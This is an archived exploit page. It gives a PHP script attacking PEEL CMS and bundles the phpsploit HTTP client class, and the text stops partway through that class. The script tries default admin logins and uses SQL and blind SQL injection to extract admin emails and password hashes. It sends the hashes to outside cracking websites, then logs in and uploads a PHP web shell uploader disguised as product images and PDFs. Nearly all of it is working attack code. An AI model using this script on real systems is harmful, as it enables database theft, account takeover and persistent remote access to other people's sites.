Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19453
HistoryMar 20, 2008 - 12:00 a.m.

PEEL CMS Admin Hash Extraction and Remote Upload

2008-03-2000:00:00
vulners.com
15

#!/usr/bin/php
<?php

/---------------------------------------------------------------\
*

  • Exploit: PEEL CMS Admin Hash Extraction and Remote Upload
  • Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
  • URL: http://realn.free.fr/
  • Date: 03-18-08
  • Targets: PEEL PREMIUM PEEL POWERSELL
  •  	PEEL INTEGRALE	PEEL PROFESSIONNELLE
    
  • This exploit will use multiple vulns of multiple versions
  • of PEEL to try to spawn a Remote Upload File.
  • Special thanks to: ddx39.

\---------------------------------------------------------------/

$md5loc = array(
array('http://www.milw0rm.com/cracker/search.php&#39;,&#39;hash=&#39;,&#39;&lt;TD align="middle" nowrap="nowrap" width=90>([^<]+)</TD><TD align="middle" nowrap="nowrap" width=90>cracked</TD></TR>'),
array('http://gdataonline.com/qkhash.php?mode=txt&amp;hash=&#39;,&#39;&#39;,&#39;&lt;/td&gt;&lt;td width="35%"><b>([^<]+)</b></td></tr>'),
array('http://pepowned.free.fr/?act=&amp;x=52&amp;y=16&amp;md5=&#39;,&#39;&#39;,&#39;Le Plain Text de <b>\w{32}</b> est : <b>([^<]+)</b>'),
array('http://passcracking.ru/index.php&#39;,&#39;admin=false&amp;admin2=77.php&amp;datafromuser=&#39;,&#39;&lt;td&gt;&#92;w{32}&lt;/td&gt;&lt;td bgcolor=\#FF0000>([^<]+)</td><td>'),
array('http://md5.rednoize.com/?p&amp;s=md5&amp;_=&amp;q=&#39;,&#39;&#39;,&#39;&lt;div id="result">([^<]+)</div>'),
array('http://ice.breaker.free.fr/md5.php?hash=&#39;,&#39;&#39;,&#39;&lt;b&gt;&lt;br&gt;&lt;br&gt; - ([^<]+)<br><br><br><a href=http://ice\.breaker\.free\.fr/'),
);

print "\n";
print " PEEL CMS Admin Hash Extraction and Remote Upload\n";
print " by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";

if($argc<2)
{
print "usage: php peel_exploit.php <url> [options]\n\n";
print "Options:\n";
print " -admin <login:pass>\tIf you have admin access, you can use this.\n";
print "\nexample: php peel_exploit.php http://site.org/boutique/ -admin admin:passw0rd\n";
exit();
}

$url = $argv[1];

$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");

$admin = getparam("admin");
if($admin)
{
print "[] Using admin login $admin\n";
list($login,$r) = explode(":",$admin);
attack($login,$r);
print "\n";
}
else
{
/
— ATTACK #1: LOGIN GUESSING — */

print &quot;[*] Attack #1&#92;n&quot;;
$default = array&#40; array&#40;&quot;[email protected]&quot;,&quot;admin&quot;&#41;, array&#40;&quot;[email protected]&quot;,&quot;cinema&quot;&#41; &#41;;
for&#40;$i=0;$i&lt;sizeof&#40;$default&#41;;$i++&#41;
{
	print &quot;[*] Trying with &quot;.$default[$i][0].&quot;:&quot;.$default[$i][1];
	if&#40;attack&#40;$default[$i][0],$default[$i][1]&#41;==1&#41; exit&#40;&#41;;
}
print &quot;[*] Attack failed.&#92;n&#92;n&quot;;

/* --- ATTACK #2: MAGIC_QUOTES_GPC --- */

print &quot;[*] Attack #2&#92;n&quot;;
print &quot;[*] magic_quotes_gpc=&quot;;
$c = $xpl-&gt;get&#40;$url.&quot;phpinfo.php&quot;&#41;;
if&#40;$c &amp;&amp; preg_match&#40;&#39;#&lt;tr&gt;&lt;td class=&quot;e&quot;&gt;magic_quotes_gpc&lt;/td&gt;&lt;td class=&quot;v&quot;&gt;&#40;[^&lt;]+&#41;&lt;/td&gt;#i&#39;,$c,$b&#41;&#41;
{
	print &quot;$b[1]&#92;n&quot;;
} else print &quot;?&#92;n&quot;;
if&#40;$b[1]!=&quot;On&quot; &amp;&amp; false&#41;
{
	attack&#40;&quot;&#39;&#37;20OR&#37;20&#40;priv=&#37;27admin&#37;27&#37;20AND&#37;201=1&#41;&#37;20/*&quot;,&#39;hell0&#39;&#41;;
	if&#40;$b[1]==&quot;Off&quot;&#41; exit&#40;&#41;;
}
else print &quot;[*] Attack failed.&#92;n&#92;n&quot;;

/* --- ATTACK #3: SQL INJECTION --- */

print &quot;[*] Attack #3&#92;n&quot;;
for&#40;$i=0;;$i++&#41;
{
	$c = $xpl-&gt;get&#40;$url.&quot;achat/historique_commandes.php?mode=details&amp;id=-1&amp;id_utilisateur=-1&amp;timestamp=&#37;2527&#37;20UNION&#37;20SELECT&#37;20id_utilisateur,2,email,4,5,6,7,8,mot_passe,10,11,12,13,14,15&#37;20FROM&#37;20peel_utilisateurs&#37;20WHERE&#37;20priv=&#37;2527admin&#37;2527&#37;20LIMIT&#37;20$i,1/*&quot;&#41;;

	preg_match&#40;&quot;#&#40;&#92;w+@&#92;w+&#92;.&#92;w+&#41;&lt;/a&gt;&lt;/td&gt;#i&quot;,$c,$login&#41;;
	preg_match&#40;&quot;#&#40;&#92;w{32}&#41;&lt;/td&gt;#i&quot;,$c,$passwd&#41;;

	if&#40;count&#40;$login&#41;&lt;1&#41;
	{
		if&#40;$i==0&#41; print &quot;[*] Attack failed.&#92;n&#92;n&quot;;
		else      print &quot;[*] Attack failed &#40;if you crack a hash, use -admin param&#41;.&#92;n&#92;n&quot;;
		break;
	}
	
	$login	= $login[1];
	$passwd	= $passwd[1];
	
	print &quot;[*] Login:&#92;t$login&#92;n&quot;;
	print &quot;[*] Hash:&#92;t$passwd&#92;n&quot;;

	$md5 = strtolower&#40;$passwd&#41;;
	for&#40;$a=0;$a&lt;sizeof&#40;$md5loc&#41;;$a++&#41;
	{
		$r = crack&#40;$md5loc[$a][0],$md5loc[$a][1],$md5loc[$a][2]&#41;;
		if&#40;$r&#41; { print &quot;[*] Password:&#92;t$r&#92;n&quot;;break; }
	}
	if&#40;!$r&#41; print &quot;[*] Can&#39;t find the hash on the net, sorry.&#92;n&quot;;
	else
	{ 
		attack&#40;$login,$r&#41;;
		die&#40;&#41;;
	}
}

/* --- ATTACK #4: BLIND SQL INJECTION --- */

print &quot;[*] Attack #4&#92;n&quot;;
for&#40;$i=0;;$i++&#41;
{
	$sql = &quot;&#37;2527&#37;20OR&#37;20MID&#40;&#40;SELECT&#37;20email&#37;20FROM&#37;20peel_utilisateurs&#37;20WHERE&#37;20priv=&#37;2527admin&#37;2527&#37;20LIMIT&#37;200,1&#41;,$i,1&#41;=123&#37;20/*&quot;;
	$xpl-&gt;get&#40;$url.&quot;factures/facture_html.php?mode=facture&amp;id=1&amp;timestamp=$sql/*&quot;&#41;;
	if&#40;!preg_match&#40;&quot;#NO HACK#i&quot;,$xpl-&gt;getcontent&#40;&#41;&#41;&#41;
	{
		print &quot;[*] Attack failed.&#92;n&#92;n&quot;;
		break;
	}
	
	print &quot;[*] Login:&#92;t&quot;;
	$login	= blind&#40;&quot;email&quot;,$i&#41;;
	if&#40;$login==&quot;&quot;&#41;
	{
		if&#40;$i==0&#41; print &quot;&#92;r[*] Attack failed.&#92;n&#92;n&quot;;
		else      print &quot;&#92;r[*] Attack failed &#40;if you crack a hash, use -admin param&#41;.&#92;n&#92;n&quot;;
		break;
	}
	print &quot;&#92;n[*] Hash:&#92;t&quot;;
	$passwd	= blind&#40;&quot;mot_passe&quot;,$i&#41;;
	print &quot;&#92;n&quot;;
	$md5 = strtolower&#40;$passwd&#41;;
	for&#40;$a=0;$a&lt;sizeof&#40;$md5loc&#41;;$a++&#41;
	{
		$r = crack&#40;$md5loc[$a][0],$md5loc[$a][1],$md5loc[$a][2]&#41;;
		if&#40;$r&#41; { print &quot;[*] Password:&#92;t$r&#92;n&quot;;break; }
	}
	if&#40;!$r&#41; print &quot;[*] Can&#39;t find the hash on the net, sorry.&#92;n&quot;;
	else
	{ 
		attack&#40;$login,$r&#41;;
		die&#40;&#41;;
	}
}

}

function blind($field,$i=0)
{
global $xpl,$url;
$d=0; $v='';

$charset = &quot;etaonisrhldcumfpwgbyvkxjqz0123456789_-&#92;$.^&#40;&#41;[]{}¦*&#92;&quot;&#39;@=/&#92;|#?+&amp;!&#96;&lt;&gt;:;,&#92;&#92;&quot;;
if&#40;eregi&#40;&#39;p&#39;,$field&#41;&#41; $charset = &quot;0123456789abcdef&quot;;

while&#40;TRUE&#41;
{
	$d++;
	for&#40;$e=0;$e&lt;strlen&#40;$charset&#41;;$e++&#41;
	{
		$f=ord&#40;substr&#40;$charset,$e,1&#41;&#41;;
		$sql = &quot;&#37;2527&#37;20OR&#37;20MID&#40;&#40;SELECT&#37;20$field&#37;20FROM&#37;20peel_utilisateurs&#37;20WHERE&#37;20priv=&#37;2527admin&#37;2527&#37;20LIMIT&#37;20$i,1&#41;,$d,1&#41;=CHAR&#40;$f&#41;&#37;20/*&quot;;
		$xpl-&gt;get&#40;$url.&quot;factures/facture_html.php?mode=facture&amp;id=1&amp;timestamp=$sql/*&quot;&#41;;
		if&#40;!preg_match&#40;&quot;#NO HACK#&quot;,$xpl-&gt;getcontent&#40;&#41;,$matches&#41;&#41;
		{
			print strtolower&#40;chr&#40;$f&#41;&#41;;
			$v .= chr&#40;$f&#41;;
			break;
		}
		elseif&#40;$e==strlen&#40;$charset&#41;-1&#41; return $v;
	}
}

}

function attack($login,$r)
{
global $xpl,$url;
print "\n[] Login in … ";
$xpl->reset("cookies");
$c=$xpl->post($url."/membre.php","email=$login&mot_passe=$r");
if(!preg_match("#Location:.
".$url."index.php#i",$c) || !preg_match("#PHPSESSID=(\w{32})#i",$c,$sid))
{ print "failed.\n";return 0; }
$sid = $sid[1];
print "done.\n";
print "[*] SID:\t$sid\n";
$xpl->addcookie("PHPSESSID",$sid);

print &quot;&#92;n[*] Adding a fake product ... &quot;;

$uploadc0de=&#39;&lt;?php if&#40;isset&#40;$_POST[&#92;&#39;upload&#92;&#39;]&#41;&#41; { if&#40; !move_uploaded_file&#40;$_FILES[&#92;&#39;file&#92;&#39;][&#92;&#39;tmp_name&#92;&#39;], &quot;./&quot;.$_FILES[&#92;&#39;file&#92;&#39;][&#92;&#39;name&#92;&#39;]&#41;&#41; echo&#40;&quot;&lt;center&gt;Error &quot;.$_FILES[&#92;&#39;file&#92;&#39;][&#92;&#39;error&#92;&#39;].&quot;&lt;/center&gt;&quot;&#41;;else echo &quot;&lt;center&gt;File uploaded&lt;/center&gt;&quot;; } ?&gt;&lt;?php if&#40;isset&#40;$_GET[&#92;&#39;del&#92;&#39;]&#41;&#41; unlink&#40;&quot;up.php&quot;&#41;; ?&gt;&lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;&lt;center&gt;&lt;input type=&quot;file&quot; name=&quot;file&quot;&gt;&lt;input type=&quot;submit&quot; name=&quot;upload&quot; value=&quot;Upload&quot;&gt;&lt;/center&gt;&lt;/form&gt;&#39;;
$frmdt	=	array&#40;frmdt_url	  =&gt; $url.&quot;administrer/produits.php?mode=ajout&quot;,
				&quot;mode&quot;		  =&gt; &quot;insere&quot;,
				&quot;id&quot;		  =&gt; &quot;&quot;,
				&quot;categories[]&quot;=&gt; &quot;-1&quot;,
				&quot;reference&quot;	  =&gt; &quot;&quot;,
				&quot;nom&quot;		  =&gt; &quot;hell0&quot;,
				&quot;nom_fr&quot;	  =&gt; &quot;hell0&quot;,
				&quot;nom_en&quot;	  =&gt; &quot;hell0&quot;,
				&quot;prix&quot;		  =&gt; &quot;&quot;,
				&quot;tva&quot;		  =&gt; &quot;19.60&quot;,
				&quot;promotion&quot;   =&gt; &quot;&quot;,
				&quot;references[]&quot;=&gt; &quot;&quot;,
				&quot;descriptif&quot;  =&gt; &quot;&quot;,
				&quot;pformat&quot;	  =&gt; &quot;html&quot;,
				&quot;description&quot; =&gt; &quot;&quot;,
				&quot;mp3&quot;		  =&gt; &quot;&quot;,
				&quot;extrait&quot;	  =&gt; &quot;&quot;,
				&quot;image1&quot;	  =&gt; array&#40;frmdt_filename	=&gt; &quot;&quot;,
							     frmdt_type		=&gt; &quot;application/octet-stream&quot;,
							     frmdt_content	=&gt; &quot;&quot;&#41;,
				&quot;image2&quot;	  =&gt; array&#40;frmdt_filename	=&gt; &quot;&quot;,
									   frmdt_type		=&gt; &quot;application/octet-stream&quot;,
									   frmdt_content	=&gt; &quot;&quot;&#41;,
				&quot;image3&quot;	  =&gt; array&#40;frmdt_filename	=&gt; &quot;file.php&quot;,
									   frmdt_type		=&gt; &quot;image/gif&quot;,
									   frmdt_content	=&gt; &quot;$uploadc0de&quot;&#41;,
				&quot;image4&quot;	  =&gt; array&#40;frmdt_filename	=&gt; &quot;&quot;,
									   frmdt_type		=&gt; &quot;application/octet-stream&quot;,
									   frmdt_content	=&gt; &quot;&quot;&#41;,
				&quot;pdf&quot;		  =&gt; array&#40;frmdt_filename	=&gt; &quot;file.php&quot;,
									   frmdt_type		=&gt; &quot;application/pdf&quot;,
									   frmdt_content	=&gt; &quot;$uploadc0de&quot;&#41;,
				&#41;;

$c = $xpl-&gt;formdata&#40;$frmdt&#41;;

if&#40;!preg_match&#40;&quot;#&#40;[0-9]+&#41;&#40;&amp;page=[0-9]+&#41;?&#92;&quot;[^&lt;]*&gt;&#40;&lt;[^&lt;]+&gt;&#41;?hell0&#40;&lt;[^&lt;]+&gt;&#41;?&lt;/a&gt;#i&quot;,$c,$id&#41;&#41;
{ print &quot;failed.&#92;n&quot;;return 0; }

$id = $id[1];
print &quot;done.&#92;n&quot;;
print &quot;[*] Article ID:&#92;t$id&#92;n&quot;;

print &quot;[*] Uploading uploader ... &quot;;
$c = $xpl-&gt;get&#40;$url.&quot;administrer/produits.php?mode=modif&amp;id=$id&quot;&#41;;
if&#40;!preg_match&#40;&quot;#&#40;&#40;administrer/&#41;?upload/&#41;&#40;[a-z._-]+_[0-9]{6}_[0-9]{6}|[0-9]{6}_[0-9]{6}_PEEL_&#92;w{6}&#41;&#92;.php#i&quot;,$c,$file&#41;&#41; print &quot;failed &#40;can&#39;t find file&#41;.&#92;n&quot;;
else
{
	$frmdt =  array&#40;frmdt_url=&gt;$url.$file[0],&quot;upload&quot;=&gt;1,&quot;file&quot;=&gt; array&#40;frmdt_filename=&gt;&quot;up.php&quot;,frmdt_type=&gt;&quot;text/plain&quot;,frmdt_content=&gt;&quot;$uploadc0de&quot;&#41;&#41;;
	if&#40;preg_match&#40;&quot;#Uploaded#i&quot;,$xpl-&gt;formdata&#40;$frmdt&#41;&#41;&#41; print &quot;done.&#92;n&quot;;
	else print &quot;failed &#40;can&#39;t upload file&#41;.&#92;n&quot;;
}

print &quot;[*] Deleting the fake product ... &quot;;
$xpl-&gt;get&#40;$url.&quot;administrer/produits.php?mode=suppr&amp;id=$id&quot;&#41;;
print &quot;done.&#92;n&quot;;

if&#40;sizeof&#40;$file&#41;&gt;0&#41;
{
	$path = $file[1];
	print &quot;&#92;n[*] Uploader: &quot;.$url.$path.&quot;up.php&#92;n&quot;;
}

return 1;

}

function crack($url,$post,$gex)
{
global $xpl,$md5;
if($post!=''&&preg_match("#$gex#",$xpl->post("$url","$post$md5"),$res)) return $res[1];
elseif(preg_match("#$gex#",$xpl->get("$url$md5"),$res)) return $res[1];
return 0;
}

function getparam($param,$opt='')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param) return $argv[$value+1];
}
if($opt) exit("\n-$param parameter required");
else return;
}

/*
*

  • Copyright (C) darkfig
  • This program is free software; you can redistribute it and/or
  • modify it under the terms of the GNU General Public License
  • as published by the Free Software Foundation; either version 2
  • of the License, or (at your option) any later version.
  • This program is distributed in the hope that it will be useful,
  • but WITHOUT ANY WARRANTY; without even the implied warranty of
  • MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  • GNU General Public License for more details.
  • You should have received a copy of the GNU General Public License
  • along with this program; if not, write to the Free Software
  • Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
  • TITLE: PhpSploit Class
  • REQUIREMENTS: PHP 4 / PHP 5
  • VERSION: 2.0
  • LICENSE: GNU General Public License
  • ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt
  • FILENAME: phpsploitclass.php
  • CONTACT: [email protected] (french / english)
  • GREETZ: Sparah, Ddx39
  • DESCRIPTION:
  • The phpsploit is a class implementing a web user agent.
  • You can add cookies, headers, use a proxy server with (or without) a
  • basic authentification. It supports the GET and the POST method. It can
  • also be used like a browser with the cookiejar() function (which allow
  • a server to add several cookies for the next requests) and the
  • allowredirection() function (which allow the script to follow all
  • redirections sent by the server). It can return the content (or the
  • headers) of the request. Others useful functions can be used for debugging.
  • A manual is actually in development but to know how to use it, you can
  • read the comments.
  • CHANGELOG:
  • [2007-06-10] (2.0)
    • Code: Code optimization
    • New: Compatible with PHP 4 by default
  • [2007-01-24] (1.2)
    • Bug #2 fixed: Problem concerning the getcookie() function ((|;))
    • New: multipart/form-data enctype is now supported
  • [2006-12-31] (1.1)
    • Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
    • New: You can now call the getheader() / getcontent() function without parameters
  • [2006-12-30] (1.0)
    • First version

*/

class phpsploit
{
var $proxyhost;
var $proxyport;
var $host;
var $path;
var $port;
var $method;
var $url;
var $packet;
var $proxyuser;
var $proxypass;
var $header;
var $cookie;
var $data;
var $boundary;
var $allowredirection;
var $last_redirection;
var $cookiejar;
var $recv;
var $cookie_str;
var $header_str;
var $server_content;
var $server_header;

/**
 * This function is called by the
 * get&#40;&#41;/post&#40;&#41;/formdata&#40;&#41; functions.
 * You don&#39;t have to call it, this is
 * the main function.
 *
 * @access private
 * @return string $this-&gt;recv ServerResponse
 * 
 */
function sock&#40;&#41;
{
	if&#40;!empty&#40;$this-&gt;proxyhost&#41; &amp;&amp; !empty&#40;$this-&gt;proxyport&#41;&#41;
	   $socket = @fsockopen&#40;$this-&gt;proxyhost,$this-&gt;proxyport&#41;;
	else
	   $socket = @fsockopen&#40;$this-&gt;host,$this-&gt;port&#41;;
	
	if&#40;!$socket&#41;
	   die&#40;&quot;Error: Host seems down&quot;&#41;;
	
	if&#40;$this-&gt;method==&#39;get&#39;&#41;
	   $this-&gt;packet = &#39;GET &#39;.$this-&gt;url.&quot; HTTP/1.1&#92;r&#92;n&quot;;
	   
	elseif&#40;$this-&gt;method==&#39;post&#39; or $this-&gt;method==&#39;formdata&#39;&#41;
	   $this-&gt;packet = &#39;POST &#39;.$this-&gt;url.&quot; HTTP/1.1&#92;r&#92;n&quot;;
	   
	else
	   die&#40;&quot;Error: Invalid method&quot;&#41;;
	
	if&#40;!empty&#40;$this-&gt;proxyuser&#41;&#41;
	   $this-&gt;packet .= &#39;Proxy-Authorization: Basic &#39;.base64_encode&#40;$this-&gt;proxyuser.&#39;:&#39;.$this-&gt;proxypass&#41;.&quot;&#92;r&#92;n&quot;;
	
	if&#40;!empty&#40;$this-&gt;header&#41;&#41;
	   $this-&gt;packet .= $this-&gt;showheader&#40;&#41;;
	   
	if&#40;!empty&#40;$this-&gt;cookie&#41;&#41;
	   $this-&gt;packet .= &#39;Cookie: &#39;.$this-&gt;showcookie&#40;&#41;.&quot;&#92;r&#92;n&quot;;

	$this-&gt;packet .= &#39;Host: &#39;.$this-&gt;host.&quot;&#92;r&#92;n&quot;;
	$this-&gt;packet .= &quot;Connection: Close&#92;r&#92;n&quot;;
	
	if&#40;$this-&gt;method==&#39;post&#39;&#41;
	{
		$this-&gt;packet .= &quot;Content-Type: application/x-www-form-urlencoded&#92;r&#92;n&quot;;
		$this-&gt;packet .= &#39;Content-Length: &#39;.strlen&#40;$this-&gt;data&#41;.&quot;&#92;r&#92;n&#92;r&#92;n&quot;;
		$this-&gt;packet .= $this-&gt;data.&quot;&#92;r&#92;n&quot;;
	}
	elseif&#40;$this-&gt;method==&#39;formdata&#39;&#41;
	{
		$this-&gt;packet .= &#39;Content-Type: multipart/form-data; boundary=&#39;.str_repeat&#40;&#39;-&#39;,27&#41;.$this-&gt;boundary.&quot;&#92;r&#92;n&quot;;
		$this-&gt;packet .= &#39;Content-Length: &#39;.strlen&#40;$this-&gt;data&#41;.&quot;&#92;r&#92;n&#92;r&#92;n&quot;;
		$this-&gt;packet .= $this-&gt;data;
	}

	$this-&gt;packet .= &quot;&#92;r&#92;n&quot;;
	$this-&gt;recv = &#39;&#39;;

	fputs&#40;$socket,$this-&gt;packet&#41;;

	while&#40;!feof&#40;$socket&#41;&#41;
	   $this-&gt;recv .= fgets&#40;$socket&#41;;

	fclose&#40;$socket&#41;;

	if&#40;$this-&gt;cookiejar&#41;
	   $this-&gt;getcookie&#40;&#41;;

	if&#40;$this-&gt;allowredirection&#41;
	   return $this-&gt;getredirection&#40;&#41;;
	else
	   return $this-&gt;recv;
}


/**
 * This function allows you to add several
 * cookies in the request.
 * 
 * @access  public
 * @param   string cookn CookieName
 * @param   string cookv CookieValue
 * @example $this-&gt;addcookie&#40;&#39;name&#39;,&#39;value&#39;&#41;
 * 
 */
function addcookie&#40;$cookn,$cookv&#41;
{
	if&#40;!isset&#40;$this-&gt;cookie&#41;&#41;
	   $this-&gt;cookie = array&#40;&#41;;

	$this-&gt;cookie[$cookn] = $cookv;
}


/**
 * This function allows you to add several
 * headers in the request.
 *
 * @access  public
 * @param   string headern HeaderName
 * @param   string headervalue Headervalue
 * @example $this-&gt;addheader&#40;&#39;Client-IP&#39;, &#39;128.5.2.3&#39;&#41;
 * 
 */
function addheader&#40;$headern,$headervalue&#41;
{
	if&#40;!isset&#40;$this-&gt;header&#41;&#41;
	   $this-&gt;header = array&#40;&#41;;
	   
	$this-&gt;header[$headern] = $headervalue;
}


/**
 * This function allows you to use an
 * http proxy server. Several methods
 * are supported.
 * 
 * @access  public
 * @param   string proxy ProxyHost
 * @param   integer proxyp ProxyPort
 * @example $this-&gt;proxy&#40;&#39;localhost&#39;,8118&#41;
 * @example $this-&gt;proxy&#40;&#39;localhost:8118&#39;&#41;
 * 
 */
function proxy&#40;$proxy,$proxyp=&#39;&#39;&#41;
{
	if&#40;empty&#40;$proxyp&#41;&#41;
	{
		$proxarr = explode&#40;&#39;:&#39;,$proxy&#41;;
		$this-&gt;proxyhost = $proxarr[0];
		$this-&gt;proxyport = &#40;int&#41;$proxarr[1];
	}
	else 
	{
		$this-&gt;proxyhost = $proxy;
		$this-&gt;proxyport = &#40;int&#41;$proxyp;
	}

	if&#40;$this-&gt;proxyport &gt; 65535&#41;
	   die&#40;&quot;Error: Invalid port number&quot;&#41;;
}


/**
 * This function allows you to use an
 * http proxy server which requires a
 * basic authentification. Several
 * methods are supported:
 *
 * @access  public
 * @param   string proxyauth ProxyUser
 * @param   string proxypass ProxyPass
 * @example $this-&gt;proxyauth&#40;&#39;user&#39;,&#39;pwd&#39;&#41;
 * @example $this-&gt;proxyauth&#40;&#39;user:pwd&#39;&#41;;
 * 
 */
function proxyauth&#40;$proxyauth,$proxypass=&#39;&#39;&#41;
{
	if&#40;empty&#40;$proxypass&#41;&#41;
	{
		$posvirg = strpos&#40;$proxyauth,&#39;:&#39;&#41;;
		$this-&gt;proxyuser = substr&#40;$proxyauth,0,$posvirg&#41;;
		$this-&gt;proxypass = substr&#40;$proxyauth,$posvirg+1&#41;;
	}
	else
	{
		$this-&gt;proxyuser = $proxyauth;
		$this-&gt;proxypass = $proxypass;
	}
}


/**
 * This function allows you to set
 * the &#39;User-Agent&#39; header.
 * 
 * @access  public
 * @param   string useragent Agent
 * @example $this-&gt;agent&#40;&#39;Firefox&#39;&#41;
 * 
 */
function agent&#40;$useragent&#41;
{
	$this-&gt;addheader&#40;&#39;User-Agent&#39;,$useragent&#41;;
}


/**
 * This function returns the headers
 * which will be in the next request.
 * 
 * @access  public
 * @return  string $this-&gt;header_str Headers
 * @example $this-&gt;showheader&#40;&#41;
 * 
 */
function showheader&#40;&#41;
{
	$this-&gt;header_str = &#39;&#39;;
	
	if&#40;!isset&#40;$this-&gt;header&#41;&#41;
	   return;
	   
	foreach&#40;$this-&gt;header as $name =&gt; $value&#41;
	   $this-&gt;header_str .= $name.&#39;: &#39;.$value.&quot;&#92;r&#92;n&quot;;
	   
	return $this-&gt;header_str;
}


/**
 * This function returns the cookies
 * which will be in the next request.
 * 
 * @access  public
 * @return  string $this-&gt;cookie_str Cookies
 * @example $this-&gt;showcookie&#40;&#41;
 * 
 */
function showcookie&#40;&#41;
{
	$this-&gt;cookie_str = &#39;&#39;;
	
	if&#40;!isset&#40;$this-&gt;cookie&#41;&#41;
	   return;
	
	foreach&#40;$this-&gt;cookie as $name =&gt; $value&#41;
	   $this-&gt;cookie_str .= $name.&#39;=&#39;.$value.&#39;; &#39;;

	return $this-&gt;cookie_str;
}


/**
 * This function returns the last
 * formed http request.
 * 
 * @access  public
 * @return  string $this-&gt;packet HttpPacket
 * @example $this-&gt;showlastrequest&#40;&#41;
 * 
 */
function showlastrequest&#40;&#41;
{
	if&#40;!isset&#40;$this-&gt;packet&#41;&#41;
	   return;
	else
	   return $this-&gt;packet;
}


/**
 * This function sends the formed
 * http packet with the GET method.
 * 
 * @access  public
 * @param   string url Url
 * @return  string $this-&gt;sock&#40;&#41;
 * @example $this-&gt;get&#40;&#39;localhost/index.php?var=x&#39;&#41;
 * @example $this-&gt;get&#40;&#39;http://localhost:88/tst.php&#39;&#41;
 * 
 */
function get&#40;$url&#41;
{
	$this-&gt;target&#40;$url&#41;;
	$this-&gt;method = &#39;get&#39;;
	return $this-&gt;sock&#40;&#41;;
}


/**
 * This function sends the formed
 * http packet with the POST method.
 *
 * @access  public
 * @param   string url  Url
 * @param   string data PostData
 * @return  string $this-&gt;sock&#40;&#41;
 * @example $this-&gt;post&#40;&#39;http://localhost/&#39;,&#39;helo=x&#39;&#41;
 * 
 */	
function post&#40;$url,$data&#41;
{
	$this-&gt;target&#40;$url&#41;;
	$this-&gt;method = &#39;post&#39;;
	$this-&gt;data = $data;
	return $this-&gt;sock&#40;&#41;;
}


/**
 * This function sends the formed http
 * packet with the POST method using
 * the multipart/form-data enctype.
 * 
 * @access  public
 * @param   array array FormDataArray
 * @return  string $this-&gt;sock&#40;&#41;
 * @example $formdata = array&#40;
 *                      frmdt_url =&gt; &#39;http://localhost/upload.php&#39;,
 *                      frmdt_boundary =&gt; &#39;123456&#39;, # Optional
 *                      &#39;var&#39; =&gt; &#39;example&#39;,
 *                      &#39;file&#39; =&gt; array&#40;
 *                                frmdt_type =&gt; &#39;image/gif&#39;,  # Optional
 *                                frmdt_transfert =&gt; &#39;binary&#39; # Optional
 *                                frmdt_filename =&gt; &#39;hello.php,
 *                                frmdt_content =&gt; &#39;&lt;?php echo 1; ?&gt;&#39;&#41;&#41;;
 *          $this-&gt;formdata&#40;$formdata&#41;;
 * 
 */
function formdata&#40;$array&#41;
{
	$this-&gt;target&#40;$array[frmdt_url]&#41;;
	$this-&gt;method = &#39;formdata&#39;;
	$this-&gt;data = &#39;&#39;;
	
	if&#40;!isset&#40;$array[frmdt_boundary]&#41;&#41;
	   $this-&gt;boundary = &#39;phpsploit&#39;;
	else
	   $this-&gt;boundary = $array[frmdt_boundary];

	foreach&#40;$array as $key =&gt; $value&#41;
	{
		if&#40;!preg_match&#40;&#39;#^frmdt_&#40;boundary|url&#41;#&#39;,$key&#41;&#41;
		{
			$this-&gt;data .= str_repeat&#40;&#39;-&#39;,29&#41;.$this-&gt;boundary.&quot;&#92;r&#92;n&quot;;
			$this-&gt;data .= &#39;Content-Disposition: form-data; name=&quot;&#39;.$key.&#39;&quot;;&#39;;
			
			if&#40;!is_array&#40;$value&#41;&#41;
			{
				$this-&gt;data .= &quot;&#92;r&#92;n&#92;r&#92;n&quot;.$value.&quot;&#92;r&#92;n&quot;;
			}
			else
			{
				$this-&gt;data .= &#39; filename=&quot;&#39;.$array[$key][frmdt_filename].&quot;&#92;&quot;;&#92;r&#92;n&quot;;

				if&#40;isset&#40;$array[$key][frmdt_type]&#41;&#41;
				   $this-&gt;data .= &#39;Content-Type: &#39;.$array[$key][frmdt_type].&quot;&#92;r&#92;n&quot;;

				if&#40;isset&#40;$array[$key][frmdt_transfert]&#41;&#41;
				   $this-&gt;data .= &#39;Content-Transfer-Encoding: &#39;.$array[$key][frmdt_transfert].&quot;&#92;r&#92;n&quot;;

				$this-&gt;data .= &quot;&#92;r&#92;n&quot;.$array[$key][frmdt_content].&quot;&#92;r&#92;n&quot;;
			}
		}
	}

	$this-&gt;data .= str_repeat&#40;&#39;-&#39;,29&#41;.$this-&gt;boundary.&quot;--&#92;r&#92;n&quot;;
	return $this-&gt;sock&#40;&#41;;
}


/**
 * This function returns the content
 * of the server response, without
 * the headers.
 * 
 * @access  public
 * @param   string code ServerResponse
 * @return  string $this-&gt;server_content
 * @example $this-&gt;getcontent&#40;&#41;
 * @example $this-&gt;getcontent&#40;$this-&gt;get&#40;&#39;http://localhost/&#39;&#41;&#41;
 * 
 */
function getcontent&#40;$code=&#39;&#39;&#41;
{
	if&#40;empty&#40;$code&#41;&#41;
	   $code = $this-&gt;recv;

	$code = explode&#40;&quot;&#92;r&#92;n&#92;r&#92;n&quot;,$code&#41;;
	$this-&gt;server_content = &#39;&#39;;
	
	for&#40;$i=1;$i&lt;count&#40;$code&#41;;$i++&#41;
	   $this-&gt;server_content .= $code[$i];

	return $this-&gt;server_content;
}


/**
 * This function returns the headers
 * of the server response, without
 * the content.
 * 
 * @access  public
 * @param   string code ServerResponse
 * @return  string $this-&gt;server_header
 * @example $this-&gt;getcontent&#40;&#41;
 * @example $this-&gt;getcontent&#40;$this-&gt;post&#40;&#39;http://localhost/&#39;,&#39;1=2&#39;&#41;&#41;
 * 
 */
function getheader&#40;$code=&#39;&#39;&#41;
{
	if&#40;empty&#40;$code&#41;&#41;
	   $code = $this-&gt;recv;

	$code = explode&#40;&quot;&#92;r&#92;n&#92;r&#92;n&quot;,$code&#41;;
	$this-&gt;server_header = $code[0];
